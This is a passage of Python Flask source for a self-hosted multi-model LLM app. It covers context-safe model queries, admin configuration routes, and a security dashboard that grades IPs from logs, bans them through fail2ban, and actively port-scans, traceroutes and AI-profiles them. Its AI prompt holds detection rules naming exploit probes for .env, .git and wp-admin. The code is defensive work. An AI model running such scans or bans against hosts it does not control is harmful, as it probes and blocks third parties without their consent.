|
budget = limit // 2
|
|
|
|
# First pass: measure everything
|
|
total = sum(estimate_tokens(t) for _, t, _ in parts)
|
|
if total <= budget:
|
|
return "\n\n".join(f"{label}\n{text}" if label else text for label, text, _ in parts)
|
|
|
|
# Need to truncate — allocate budget by priority
|
|
p1 = [(l, t, p) for l, t, p in parts if p == 1]
|
|
p2 = [(l, t, p) for l, t, p in parts if p == 2]
|
|
p3 = [(l, t, p) for l, t, p in parts if p == 3]
|
|
|
|
p1_tokens = sum(estimate_tokens(t) for _, t, _ in p1)
|
|
remaining = budget - p1_tokens
|
|
|
|
if remaining <= 0:
|
|
# Even priority 1 doesn't fit — truncate p1
|
|
per_part = budget // max(len(p1), 1)
|
|
result = []
|
|
for label, text, _ in p1:
|
|
result.append(f"{label}\n{smart_truncate(text, per_part)}" if label else smart_truncate(text, per_part))
|
|
return "\n\n".join(result)
|
|
|
|
# Allocate remaining to p2, then p3
|
|
result = [f"{l}\n{t}" if l else t for l, t, _ in p1]
|
|
|
|
for group in [p2, p3]:
|
|
if not group or remaining <= 0:
|
|
continue
|
|
per_part = remaining // max(len(group), 1)
|
|
for label, text, _ in group:
|
|
truncated = smart_truncate(text, max(per_part, 100))
|
|
result.append(f"{label}\n{truncated}" if label else truncated)
|
|
remaining -= estimate_tokens(truncated)
|
|
|
|
return "\n\n".join(result)
|
|
|
|
|
|
def safe_query(model_id, prompt, fallback_summarize=True):
|
|
"""Query with context safety — auto-truncates prompt if too large, retries on overflow errors."""
|
|
limit = get_context_limit(model_id)
|
|
prompt_tokens = estimate_tokens(prompt)
|
|
|
|
# Pre-flight check: truncate if obviously too large
|
|
if prompt_tokens > limit - 500:
|
|
prompt = smart_truncate(prompt, limit - 1000)
|
|
|
|
try:
|
|
response = query_model(model_id, prompt)
|
|
return cap_response(response)
|
|
except Exception as e:
|
|
err = str(e).lower()
|
|
# Detect context overflow errors from various providers
|
|
if any(k in err for k in ["context length", "too many tokens", "maximum context", "token limit",
|
|
"content_too_large", "request too large", "413", "400"]):
|
|
if fallback_summarize:
|
|
# Aggressive truncation and retry
|
|
truncated = smart_truncate(prompt, limit // 2)
|
|
try:
|
|
response = query_model(model_id, truncated)
|
|
return cap_response(response)
|
|
except Exception:
|
|
pass
|
|
return f"[Context overflow: prompt was ~{prompt_tokens} tokens, model limit ~{limit}. Response truncated to fit.]"
|
|
raise
|
|
|
|
|
|
def parallel_safe_query(models, prompt):
|
|
"""Like parallel_query but with context safety on each model."""
|
|
results = {}
|
|
max_timeout = max((_get_timeout(m) for m in models), default=300) + 30
|
|
with ThreadPoolExecutor(max_workers=max(len(models), 1)) as pool:
|
|
futures = {pool.submit(safe_query, m, prompt): m for m in models}
|
|
for future in as_completed(futures, timeout=max_timeout):
|
|
model = futures[future]
|
|
try:
|
|
results[model] = future.result(timeout=10)
|
|
except Exception as e:
|
|
results[model] = f"Error: {e}"
|
|
return results
|
|
|
|
|
|
def sse(data):
|
|
return f"data: {json.dumps(data)}\n\n"
|
|
|
|
|
|
def parallel_query(models, prompt):
|
|
"""Query multiple models in parallel with context safety."""
|
|
return parallel_safe_query(models, prompt)
|
|
|
|
|
|
# ─── ROUTES ────────────────────────────────────────────────────
|
|
|
|
@app.route("/")
|
|
@login_required
|
|
def index():
|
|
return render_template_string(HTML)
|
|
|
|
|
|
@app.route("/api/models")
|
|
@login_required
|
|
def get_models():
|
|
SKIP = {"nomic-embed-text", "mxbai-embed-large", "all-minilm", "snowflake-arctic-embed"}
|
|
cfg = load_config()
|
|
models = []
|
|
# Local Ollama models
|
|
if cfg["providers"]["ollama"].get("enabled", True):
|
|
try:
|
|
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
|
|
resp = requests.get(f"{base}/api/tags", timeout=10)
|
|
seen = set()
|
|
for m in resp.json().get("models", []):
|
|
full = m["name"]
|
|
short = full.split(":")[0]
|
|
size = m.get("size", 0)
|
|
if short in SKIP or size < 1_000_000 or short in seen:
|
|
continue
|
|
if full in cfg.get("disabled_models", []):
|
|
continue
|
|
seen.add(short)
|
|
models.append({"name": full, "size": f"{size/(1024**3):.1f} GB",
|
|
"provider": "ollama", "provider_label": "Local",
|
|
"display_name": short})
|
|
except Exception:
|
|
pass
|
|
# Cloud models
|
|
for cm in cfg.get("cloud_models", []):
|
|
if not cm.get("enabled", True):
|
|
continue
|
|
prov = cm["id"].split("::")[0] if "::" in cm["id"] else "cloud"
|
|
if not cfg["providers"].get(prov, {}).get("enabled", False):
|
|
continue
|
|
models.append({"name": cm["id"], "size": cm.get("context", "cloud"),
|
|
"provider": prov, "provider_label": prov.title(),
|
|
"display_name": cm.get("display_name", cm["id"].split("::")[-1])})
|
|
return jsonify({"models": models})
|
|
|
|
|
|
# ─── ADMIN ROUTES ─────────────────────────────────────────────
|
|
|
|
@app.route("/admin")
|
|
@admin_required
|
|
def admin_page():
|
|
return render_template_string(ADMIN_HTML)
|
|
|
|
|
|
@app.route("/api/admin/config", methods=["GET"])
|
|
@admin_required
|
|
def admin_get_config():
|
|
cfg = load_config()
|
|
safe = json.loads(json.dumps(cfg))
|
|
for name, p in safe["providers"].items():
|
|
if p.get("api_key"):
|
|
p["api_key_set"] = True
|
|
p["api_key"] = ""
|
|
else:
|
|
p["api_key_set"] = bool(get_api_key(name))
|
|
return jsonify(safe)
|
|
|
|
|
|
@app.route("/api/admin/config", methods=["POST"])
|
|
@admin_required
|
|
def admin_save_config():
|
|
data = request.json
|
|
cfg = load_config()
|
|
# update providers (preserve existing keys if not sent)
|
|
for name, prov in data.get("providers", {}).items():
|
|
if name in cfg["providers"]:
|
|
new_key = prov.get("api_key", "")
|
|
if not new_key:
|
|
prov["api_key"] = cfg["providers"][name].get("api_key", "")
|
|
cfg["providers"][name].update(prov)
|
|
if "disabled_models" in data:
|
|
cfg["disabled_models"] = data["disabled_models"]
|
|
if "cloud_models" in data:
|
|
cfg["cloud_models"] = data["cloud_models"]
|
|
if "timeouts" in data:
|
|
cfg["timeouts"] = data["timeouts"]
|
|
save_config(cfg)
|
|
return jsonify({"ok": True})
|
|
|
|
|
|
@app.route("/api/admin/test-provider", methods=["POST"])
|
|
@admin_required
|
|
def admin_test_provider():
|
|
data = request.json
|
|
name = data.get("provider", "")
|
|
cfg = load_config()
|
|
prov = cfg["providers"].get(name, {})
|
|
try:
|
|
if name == "ollama":
|
|
r = requests.get(f"{prov.get('base_url', 'http://localhost:11434')}/api/tags", timeout=5)
|
|
count = len(r.json().get("models", []))
|
|
return jsonify({"ok": True, "message": f"Connected. {count} models available."})
|
|
elif name == "openrouter":
|
|
key = data.get("api_key") or get_api_key("openrouter")
|
|
r = requests.get(f"{prov.get('base_url', 'https://openrouter.ai/api/v1')}/models",
|
|
headers={"Authorization": f"Bearer {key}"}, timeout=10)
|
|
count = len(r.json().get("data", []))
|
|
return jsonify({"ok": True, "message": f"Connected. {count} models available."})
|
|
elif name == "openai":
|
|
key = data.get("api_key") or get_api_key("openai")
|
|
r = requests.get(f"{prov.get('base_url', 'https://api.openai.com/v1')}/models",
|
|
headers={"Authorization": f"Bearer {key}"}, timeout=10)
|
|
return jsonify({"ok": True, "message": f"Connected. {len(r.json().get('data', []))} models."})
|
|
elif name == "anthropic":
|
|
key = data.get("api_key") or get_api_key("anthropic")
|
|
r = requests.post(f"{prov.get('base_url', 'https://api.anthropic.com/v1')}/messages",
|
|
headers={"x-api-key": key, "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
|
|
json={"model": "claude-haiku-4-5-20251001", "max_tokens": 1, "messages": [{"role": "user", "content": "hi"}]},
|
|
timeout=10)
|
|
return jsonify({"ok": True, "message": "Connected to Anthropic."})
|
|
return jsonify({"ok": False, "message": "Unknown provider"})
|
|
except Exception as e:
|
|
return jsonify({"ok": False, "message": str(e)})
|
|
|
|
|
|
_or_models_cache = {"data": None, "ts": 0}
|
|
|
|
@app.route("/api/admin/openrouter/models")
|
|
@admin_required
|
|
def admin_openrouter_models():
|
|
import time
|
|
now = time.time()
|
|
if _or_models_cache["data"] and now - _or_models_cache["ts"] < 300:
|
|
return jsonify({"models": _or_models_cache["data"]})
|
|
key = get_api_key("openrouter")
|
|
headers = {"Authorization": f"Bearer {key}"} if key else {}
|
|
try:
|
|
r = requests.get("https://openrouter.ai/api/v1/models", headers=headers, timeout=15)
|
|
r.raise_for_status()
|
|
free = []
|
|
for m in r.json().get("data", []):
|
|
pricing = m.get("pricing", {})
|
|
if pricing.get("prompt") == "0" and pricing.get("completion") == "0":
|
|
free.append({"id": m["id"], "name": m.get("name", m["id"]),
|
|
"context_length": m.get("context_length", 0)})
|
|
_or_models_cache["data"] = free
|
|
_or_models_cache["ts"] = now
|
|
return jsonify({"models": free})
|
|
except Exception as e:
|
|
return jsonify({"models": [], "error": str(e)})
|
|
|
|
|
|
@app.route("/api/admin/ollama-models")
|
|
@admin_required
|
|
def admin_ollama_models():
|
|
cfg = load_config()
|
|
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
|
|
SKIP = {"nomic-embed-text", "mxbai-embed-large", "all-minilm", "snowflake-arctic-embed"}
|
|
try:
|
|
resp = requests.get(f"{base}/api/tags", timeout=10)
|
|
models = []
|
|
seen = set()
|
|
for m in resp.json().get("models", []):
|
|
full = m["name"]
|
|
short = full.split(":")[0]
|
|
size = m.get("size", 0)
|
|
if short in SKIP or size < 1_000_000 or short in seen:
|
|
continue
|
|
seen.add(short)
|
|
models.append({"name": full, "size": f"{size/(1024**3):.1f} GB",
|
|
"disabled": full in cfg.get("disabled_models", [])})
|
|
return jsonify({"models": models})
|
|
except Exception as e:
|
|
return jsonify({"models": [], "error": str(e)})
|
|
|
|
|
|
# ─── SECURITY DASHBOARD ───────────────────────────────────────
|
|
|
|
@app.route("/api/admin/security")
|
|
@admin_required
|
|
def admin_security_data():
|
|
"""Aggregate security log into IP-level threat intelligence with full fingerprints."""
|
|
import subprocess, collections
|
|
ips = collections.defaultdict(lambda: {
|
|
"hits": 0, "exploit_scans": 0, "login_fails": 0, "rate_limits": 0,
|
|
"first_seen": "", "last_seen": "", "paths": set(), "threat": "low",
|
|
"uas": set(), "methods": collections.Counter(), "log_lines": [],
|
|
"event_types": collections.Counter(), "ai_verdicts": []
|
|
})
|
|
try:
|
|
with open("/var/log/llm-team-security.log") as f:
|
|
for line in f:
|
|
line = line.strip()
|
|
if not line:
|
|
continue
|
|
parts = line.split(" ", 2)
|
|
if len(parts) < 3:
|
|
continue
|
|
ts = parts[0] + " " + parts[1].split(",")[0]
|
|
rest = parts[2]
|
|
ip_match = None
|
|
for token in rest.split():
|
|
if token.startswith("ip="):
|
|
ip_match = token[3:]
|
|
break
|
|
if not ip_match:
|
|
# Check AI_BAN lines
|
|
if "AI_BAN" in rest or "AI_VERDICT" in rest:
|
|
for token in rest.split():
|
|
if token.startswith("ip="):
|
|
ip_match = token[3:]
|
|
break
|
|
if not ip_match:
|
|
continue
|
|
entry = ips[ip_match]
|
|
entry["hits"] += 1
|
|
if not entry["first_seen"]:
|
|
entry["first_seen"] = ts
|
|
entry["last_seen"] = ts
|
|
# Categorize event
|
|
if "EXPLOIT_SCAN" in rest:
|
|
entry["exploit_scans"] += 1
|
|
entry["event_types"]["exploit_scan"] += 1
|
|
elif "LOGIN_FAILED" in rest:
|
|
entry["login_fails"] += 1
|
|
entry["event_types"]["login_fail"] += 1
|
|
elif "RATE_LIMITED" in rest:
|
|
entry["rate_limits"] += 1
|
|
entry["event_types"]["rate_limit"] += 1
|
|
elif "AI_BAN" in rest:
|
|
entry["event_types"]["ai_ban"] += 1
|
|
elif "MANUAL_BAN" in rest:
|
|
entry["event_types"]["manual_ban"] += 1
|
|
elif "404_HIT" in rest:
|
|
entry["event_types"]["404"] += 1
|
|
# Extract fields
|
|
for token in rest.split():
|
|
if token.startswith("path="):
|
|
entry["paths"].add(token[5:])
|
|
elif token.startswith("method="):
|
|
entry["methods"][token[7:]] += 1
|
|
if "ua=" in rest:
|
|
ua = rest.split("ua=", 1)[1][:80]
|
|
entry["uas"].add(ua)
|
|
# Keep last 15 raw log lines per IP
|
|
entry["log_lines"].append(line)
|
|
if len(entry["log_lines"]) > 15:
|
|
entry["log_lines"].pop(0)
|
|
except Exception:
|
|
pass
|
|
|
|
# Attach AI sentinel verdicts
|
|
for v in _sentinel_results:
|
|
ip = v.get("ip", "")
|
|
if ip in ips:
|
|
ips[ip]["ai_verdicts"].append(v)
|
|
|
|
# Calculate threat level + fingerprint
|
|
for ip, d in ips.items():
|
|
if d["exploit_scans"] >= 3:
|
|
d["threat"] = "critical"
|
|
elif d["exploit_scans"] >= 1:
|
|
d["threat"] = "high"
|
|
elif d["login_fails"] >= 3:
|
|
d["threat"] = "high"
|
|
elif d["hits"] >= 10:
|
|
d["threat"] = "medium"
|
|
# Fingerprint: multiple UAs = rotating scanner
|
|
if len(d["uas"]) >= 3:
|
|
d["threat"] = max(d["threat"], "high", key=["low","medium","high","critical"].index)
|
|
d["paths"] = sorted(d["paths"])[:15]
|
|
d["uas"] = sorted(d["uas"])[:5]
|
|
d["methods"] = dict(d["methods"])
|
|
d["event_types"] = dict(d["event_types"])
|
|
|
|
# Get fail2ban status
|
|
banned = set()
|
|
ban_jails = {}
|
|
for jail in ["llm-team-exploit", "llm-team-login", "nginx-botsearch", "nginx-bad-request", "nginx-forbidden"]:
|
|
try:
|
|
result = subprocess.run(["fail2ban-client", "status", jail], capture_output=True, text=True, timeout=5)
|
|
for line in result.stdout.split("\n"):
|
|
if "Banned IP list" in line:
|
|
for ip in line.split(":", 1)[1].strip().split():
|
|
ip = ip.strip()
|
|
if ip:
|
|
banned.add(ip)
|
|
ban_jails.setdefault(ip, []).append(jail)
|
|
except Exception:
|
|
pass
|
|
|
|
# Build sorted result
|
|
sort_by = request.args.get("sort", "hits")
|
|
result = []
|
|
for ip, d in ips.items():
|
|
if ip.startswith("192.168."):
|
|
continue
|
|
result.append({
|
|
"ip": ip, "hits": d["hits"], "exploit_scans": d["exploit_scans"],
|
|
"login_fails": d["login_fails"], "rate_limits": d["rate_limits"],
|
|
"first_seen": d["first_seen"], "last_seen": d["last_seen"],
|
|
"paths": d["paths"], "uas": d["uas"], "methods": d["methods"],
|
|
"event_types": d["event_types"], "threat": d["threat"],
|
|
"banned": ip in banned, "ban_jails": ban_jails.get(ip, []),
|
|
"ua_count": len(d["uas"]),
|
|
"log_lines": d["log_lines"],
|
|
"ai_verdicts": d["ai_verdicts"]
|
|
})
|
|
|
|
# Sort
|
|
threat_order = {"critical": 4, "high": 3, "medium": 2, "low": 1}
|
|
if sort_by == "threat":
|
|
result.sort(key=lambda x: (threat_order.get(x["threat"], 0), x["hits"]), reverse=True)
|
|
elif sort_by == "recent":
|
|
result.sort(key=lambda x: x["last_seen"], reverse=True)
|
|
elif sort_by == "banned":
|
|
result.sort(key=lambda x: (x["banned"], x["hits"]), reverse=True)
|
|
else:
|
|
result.sort(key=lambda x: x["hits"], reverse=True)
|
|
|
|
return jsonify({"ips": result[:100], "total_banned": len(banned), "banned_list": sorted(banned)})
|
|
|
|
|
|
@app.route("/api/admin/security/ban", methods=["POST"])
|
|
@admin_required
|
|
def admin_ban_ip():
|
|
"""Manually ban/unban an IP via fail2ban."""
|
|
import subprocess
|
|
data = request.json or {}
|
|
ip = data.get("ip", "").strip()
|
|
action = data.get("action", "ban")
|
|
if not ip:
|
|
return jsonify({"error": "IP required"}), 400
|
|
if ip.startswith("192.168."):
|
|
return jsonify({"error": "Cannot ban LAN addresses"}), 400
|
|
try:
|
|
if action == "ban":
|
|
subprocess.run(["fail2ban-client", "set", "llm-team-exploit", "banip", ip],
|
|
capture_output=True, text=True, timeout=5)
|
|
sec_log.warning("MANUAL_BAN ip=%s by=%s", ip, session.get("username", "admin"))
|
|
return jsonify({"ok": True, "message": f"Banned {ip}"})
|
|
elif action == "unban":
|
|
for jail in ["llm-team-exploit", "llm-team-login", "nginx-botsearch", "nginx-bad-request", "nginx-forbidden"]:
|
|
subprocess.run(["fail2ban-client", "set", jail, "unbanip", ip],
|
|
capture_output=True, text=True, timeout=5)
|
|
sec_log.warning("MANUAL_UNBAN ip=%s by=%s", ip, session.get("username", "admin"))
|
|
return jsonify({"ok": True, "message": f"Unbanned {ip}"})
|
|
except Exception as e:
|
|
return jsonify({"error": str(e)}), 500
|
|
return jsonify({"error": "Invalid action"}), 400
|
|
|
|
|
|
@app.route("/api/admin/security/enrich", methods=["POST"])
|
|
@admin_required
|
|
def admin_enrich_ip():
|
|
"""Enrich an IP with geolocation, ISP, proxy detection, and AI analysis."""
|
|
data = request.json or {}
|
|
ip = data.get("ip", "").strip()
|
|
if not ip:
|
|
return jsonify({"error": "IP required"}), 400
|
|
|
|
result = {"ip": ip, "geo": None, "ai_analysis": None, "error": None}
|
|
|
|
# Step 1: Geolocation + ISP via ip-api.com
|
|
try:
|
|
geo_resp = requests.get(
|
|
f"http://ip-api.com/json/{ip}?fields=status,country,countryCode,regionName,city,isp,org,as,mobile,proxy,hosting,lat,lon,timezone",
|
|
timeout=5
|
|
)
|
|
geo = geo_resp.json()
|
|
if geo.get("status") == "success":
|
|
result["geo"] = geo
|
|
else:
|
|
result["geo"] = {"error": "lookup failed"}
|
|
except Exception as e:
|
|
result["geo"] = {"error": str(e)}
|
|
|
|
# Step 2: Gather all log data for this IP
|
|
ip_logs = []
|
|
try:
|
|
with open("/var/log/llm-team-security.log") as f:
|
|
for line in f:
|
|
if f"ip={ip}" in line:
|
|
ip_logs.append(line.strip())
|
|
except Exception:
|
|
pass
|
|
|
|
# Step 3: Web-Check deep scan (ports, DNS, blocklists, traceroute)
|
|
WEB_CHECK_BASE = "http://localhost:3000/api"
|
|
webcheck = {}
|
|
for endpoint in ["ports", "dns", "block-lists", "trace-route", "headers", "status"]:
|
|
try:
|
|
wc_resp = requests.get(f"{WEB_CHECK_BASE}/{endpoint}?url={ip}", timeout=20)
|
|
if wc_resp.status_code == 200:
|
|
data = wc_resp.json()
|
|
if not isinstance(data, dict) or not data.get("error"):
|
|
webcheck[endpoint.replace("-", "_")] = data
|
|
except Exception:
|
|
pass
|
|
result["webcheck"] = webcheck
|
|
|
|
# Step 4: AI threat analysis with full context (including web-check data)
|
|
try:
|
|
geo_ctx = ""
|
|
if result["geo"] and not result["geo"].get("error"):
|
|
g = result["geo"]
|
|
geo_ctx = f"Geolocation: {g.get('city','?')}, {g.get('regionName','?')}, {g.get('country','?')}\n"
|
|
geo_ctx += f"ISP: {g.get('isp','?')} | Org: {g.get('org','?')} | AS: {g.get('as','?')}\n"
|
|
geo_ctx += f"Proxy: {g.get('proxy',False)} | Hosting: {g.get('hosting',False)} | Mobile: {g.get('mobile',False)}\n"
|
|
|
|
# Add web-check data if available
|
|
wc_ctx = ""
|
|
if webcheck.get("ports"):
|
|
open_ports = webcheck["ports"].get("openPorts", [])
|
|
if open_ports:
|
|
wc_ctx += f"Open ports: {', '.join(str(p) for p in open_ports)}\n"
|
|
if webcheck.get("block_lists"):
|
|
blocked = [b["server"] for b in webcheck["block_lists"].get("blocklists", []) if b.get("isBlocked")]
|
|
if blocked:
|
|
wc_ctx += f"Blocked on {len(blocked)} DNS blocklists: {', '.join(blocked[:5])}\n"
|
|
if webcheck.get("trace_route") and webcheck["trace_route"].get("result"):
|
|
hops = [list(h.keys())[0] for h in webcheck["trace_route"]["result"] if isinstance(h, dict)]
|
|
if hops:
|
|
wc_ctx += f"Traceroute ({len(hops)} hops): {' → '.join(hops[:8])}\n"
|
|
|
|
log_ctx = "\n".join(ip_logs[-20:]) if ip_logs else "No log entries found."
|
|
|
|
prompt = (
|
|
f"You are an aggressive cybersecurity analyst protecting a production web application. "
|
|
f"Provide a detailed threat assessment for IP {ip}. "
|
|
f"This is a PRIVATE application — there is NO legitimate reason for unknown IPs to scan it.\n\n"
|
|
f"{geo_ctx}{wc_ctx}\n"
|
|
f"Activity log ({len(ip_logs)} total entries, showing last 20):\n{log_ctx}\n\n"
|
|
"THREAT LEVEL RULES (follow strictly):\n"
|
|
"- critical: ANY exploit scan (.env, .git, wp-admin, etc.) OR blocked on multiple DNS blocklists OR multiple user agents\n"
|
|
"- high: probing non-existent paths repeatedly OR hosting/proxy IP OR port scan shows only SSH\n"
|
|
"- medium: a few 404s on common paths from non-proxy IP\n"
|
|
"- low: single benign request (robots.txt, favicon)\n"
|
|
"- An IP blocked on 10+ DNS blocklists is ALWAYS critical regardless of log activity\n"
|
|
"- An IP with only port 22 open and no web service is suspicious infrastructure\n\n"
|
|
"Provide your analysis as JSON:\n"
|
|
'{"threat_level": "none|low|medium|high|critical",\n'
|
|
' "classification": "scanner|bruteforce|bot|researcher|targeted_attack|compromised_host|legitimate",\n'
|
|
' "confidence": 0.0-1.0,\n'
|
|
' "summary": "2-3 sentence threat assessment",\n'
|
|
' "indicators": ["list of specific indicators found"],\n'
|
|
' "recommendation": "specific recommended action — ban permanently, ban 24h, monitor, or ignore",\n'
|
|
' "likely_automated": true/false,\n'
|
|
' "pattern": "description of attack pattern if any"}\n'
|
|
)
|
|
|
|
cfg = load_config()
|
|
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
|
|
ai_resp = requests.post(f"{base}/api/generate", json={
|
|
"model": SENTINEL_MODEL, "prompt": prompt, "stream": False,
|
|
"options": {"num_ctx": 4096, "temperature": 0.1}
|
|
}, timeout=60)
|
|
ai_resp.raise_for_status()
|
|
ai_text = ai_resp.json()["response"]
|
|
|
|
# Parse JSON from AI response
|
|
text = ai_text.strip()
|
|
if "```" in text:
|
|
text = text.split("```")[1]
|
|
if text.startswith("json"):
|
|
text = text[4:]
|
|
start_idx = text.find("{")
|
|
end_idx = text.rfind("}") + 1
|
|
if start_idx >= 0 and end_idx > start_idx:
|
|
result["ai_analysis"] = json.loads(text[start_idx:end_idx])
|
|
else:
|
|
result["ai_analysis"] = {"raw": ai_text[:500]}
|
|
except Exception as e:
|
|
result["ai_analysis"] = {"error": str(e)}
|
|
|
|
result["log_count"] = len(ip_logs)
|
|
|
|
# Step 5: Save to Wall of Shame database
|
|
try:
|
|
geo = result.get("geo") or {}
|
|
ai = result.get("ai_analysis") or {}
|
|
wc = result.get("webcheck") or {}
|
|
open_ports = json.dumps(wc.get("ports", {}).get("openPorts", []))
|
|
bl = wc.get("block_lists", {}).get("blocklists", [])
|
|
blocked = [b["server"] for b in bl if b.get("isBlocked")]
|
|
tr_hops = []
|
|
if wc.get("trace_route") and wc["trace_route"].get("result"):
|
|
for h in wc["trace_route"]["result"]:
|
|
if isinstance(h, dict):
|
|
hop_ip = list(h.keys())[0]
|
|
tr_hops.append({"ip": hop_ip, "latency": h[hop_ip][0] if h[hop_ip] else None})
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("""
|
|
INSERT INTO threat_intel (ip, threat_level, classification, confidence, summary,
|
|
indicators, recommendation, pattern, attack_type, likely_automated,
|
|
country, country_code, city, isp, org, asn, is_proxy, is_hosting,
|
|
open_ports, blocklist_count, blocklist_total, blocklists_blocked,
|
|
reverse_dns, traceroute, log_count, banned, raw_data, enriched_at, updated_at)
|
|
VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,NOW(),NOW())
|
|
ON CONFLICT (ip) DO UPDATE SET
|
|
threat_level=EXCLUDED.threat_level, classification=EXCLUDED.classification,
|
|
confidence=EXCLUDED.confidence, summary=EXCLUDED.summary,
|
|
indicators=EXCLUDED.indicators, recommendation=EXCLUDED.recommendation,
|
|
pattern=EXCLUDED.pattern, attack_type=EXCLUDED.attack_type,
|
|
likely_automated=EXCLUDED.likely_automated,
|
|
country=EXCLUDED.country, country_code=EXCLUDED.country_code, city=EXCLUDED.city,
|
|
isp=EXCLUDED.isp, org=EXCLUDED.org, asn=EXCLUDED.asn,
|
|
is_proxy=EXCLUDED.is_proxy, is_hosting=EXCLUDED.is_hosting,
|
|
open_ports=EXCLUDED.open_ports, blocklist_count=EXCLUDED.blocklist_count,
|
|
blocklist_total=EXCLUDED.blocklist_total, blocklists_blocked=EXCLUDED.blocklists_blocked,
|
|
reverse_dns=EXCLUDED.reverse_dns, traceroute=EXCLUDED.traceroute,
|
|
log_count=EXCLUDED.log_count, banned=EXCLUDED.banned,
|
|
raw_data=EXCLUDED.raw_data, updated_at=NOW()
|
|
""", (
|
|
ip, ai.get("threat_level", "unknown"), ai.get("classification"),
|
|
ai.get("confidence", 0), ai.get("summary"),
|
|
json.dumps(ai.get("indicators", [])), ai.get("recommendation"),
|
|
ai.get("pattern"), ai.get("attack_type"), ai.get("likely_automated", False),
|
|
geo.get("country"), geo.get("countryCode"), geo.get("city"),
|
|
geo.get("isp"), geo.get("org"), geo.get("as"),
|
|
geo.get("proxy", False), geo.get("hosting", False),
|
|
open_ports, len(blocked), len(bl), json.dumps(blocked),
|
|
"", json.dumps(tr_hops), len(ip_logs),
|
|
ip in _get_banned_ips(), json.dumps(result)
|
|
))
|
|
conn.commit()
|
|
result["saved"] = True
|
|
except Exception as e:
|
|
result["saved"] = False
|
|
result["save_error"] = str(e)
|
|
|
|
return jsonify(result)
|
|
|
|
|
|
def _get_banned_ips():
|
|
"""Quick check of all banned IPs."""
|
|
import subprocess
|
|
banned = set()
|
|
for jail in ["llm-team-exploit", "llm-team-login"]:
|
|
try:
|
|
r = subprocess.run(["fail2ban-client", "status", jail], capture_output=True, text=True, timeout=5)
|
|
for line in r.stdout.split("\n"):
|
|
if "Banned IP list" in line:
|
|
for ip in line.split(":", 1)[1].strip().split():
|
|
banned.add(ip.strip())
|
|
except Exception:
|
|
pass
|
|
return banned
|
|
|
|
|
|
@app.route("/api/admin/wall-of-shame")
|
|
@admin_required
|
|
def admin_wall_of_shame():
|
|
"""Return all enriched threat intel from the database."""
|
|
sort = request.args.get("sort", "enriched_at")
|
|
order = request.args.get("order", "desc")
|
|
threat_filter = request.args.get("threat", "")
|
|
allowed_sorts = {"enriched_at", "threat_level", "confidence", "blocklist_count", "log_count", "ip"}
|
|
if sort not in allowed_sorts:
|
|
sort = "enriched_at"
|
|
order_sql = "DESC" if order == "desc" else "ASC"
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
if threat_filter:
|
|
cur.execute(f"SELECT * FROM threat_intel WHERE threat_level = %s ORDER BY {sort} {order_sql} LIMIT 200", (threat_filter,))
|
|
else:
|
|
cur.execute(f"SELECT * FROM threat_intel ORDER BY {sort} {order_sql} LIMIT 200")
|
|
rows = cur.fetchall()
|
|
for r in rows:
|
|
r["enriched_at"] = r["enriched_at"].isoformat() if r["enriched_at"] else None
|
|
r["updated_at"] = r["updated_at"].isoformat() if r["updated_at"] else None
|
|
return jsonify({"entries": rows, "total": len(rows)})
|
|
except Exception as e:
|
|
return jsonify({"entries": [], "error": str(e)})
|
|
|
|
|
|
@app.route("/api/admin/security/mass-ban", methods=["POST"])
|
|
@admin_required
|
|
def admin_mass_ban():
|
|
"""Ban or unban multiple IPs at once."""
|
|
import subprocess
|
|
data = request.json or {}
|
|
ip_list = data.get("ips", [])
|
|
action = data.get("action", "ban")
|
|
if not ip_list:
|
|
return jsonify({"error": "No IPs provided"}), 400
|
|
results = {"success": 0, "failed": 0, "skipped": 0}
|
|
for ip in ip_list:
|
|
ip = ip.strip()
|
|
if not ip or ip.startswith("192.168."):
|
|
results["skipped"] += 1
|
|
continue
|
|
try:
|
|
if action == "ban":
|
|
subprocess.run(["fail2ban-client", "set", "llm-team-exploit", "banip", ip],
|
|
capture_output=True, text=True, timeout=5)
|
|
sec_log.warning("MASS_BAN ip=%s by=%s", ip, session.get("username", "admin"))
|
|
elif action == "unban":
|
|
for jail in ["llm-team-exploit", "llm-team-login", "nginx-botsearch", "nginx-bad-request", "nginx-forbidden"]:
|
|
subprocess.run(["fail2ban-client", "set", jail, "unbanip", ip],
|
|
capture_output=True, text=True, timeout=5)
|
|
sec_log.warning("MASS_UNBAN ip=%s by=%s", ip, session.get("username", "admin"))
|
|
results["success"] += 1
|
|
except Exception:
|
|
results["failed"] += 1
|
|
return jsonify({"ok": True, "results": results})
|
|
|
|
|
|
# ─── ADMIN MONITOR ─────────────────────────────────────────────
|
|
|
|
@app.route("/admin/monitor")
|
|
@admin_required
|
|
def monitor_page():
|
|
return MONITOR_HTML
|
|
|
|
@app.route("/api/admin/monitor")
|
|
@admin_required
|
|
def monitor_data():
|
|
active = []
|
|
for rid, r in _active_runs.items():
|
|
active.append({
|
|
"run_id": rid, "mode": r["mode"], "user": r["user"],
|
|
"prompt": r["prompt"], "elapsed": round(time.time() - r["started"], 1),
|
|
"step": r["step"], "total_steps": r["total_steps"],
|
|
"substep": r["substep"], "events": r["events"],
|
|
"errors": len(r["errors"]), "responses_size": r["responses_size"],
|
|
"error_details": r["errors"][-3:] # last 3 errors
|
|
})
|
|
recent = list(reversed(_run_log[-20:]))
|
|
return jsonify({"active": active, "recent": recent, "timestamp": time.time()})
|
|
|
|
|
|
MONITOR_HTML = r"""<!DOCTYPE html>
|
|
<html lang="en"><head>
|
|
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0">
|
|
<title>LLM Team — Monitor</title>
|
|
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
|
<style>
|
|
:root{--bg:#08090c;--surface:rgba(14,16,22,0.85);--border:#2a2d35;--text:#e8e6e3;--text2:#7a7872;--accent:#e2b55a;--green:#4ade80;--red:#e05252;--blue:#5b9cf5}
|
|
*{box-sizing:border-box;margin:0;padding:0}
|
|
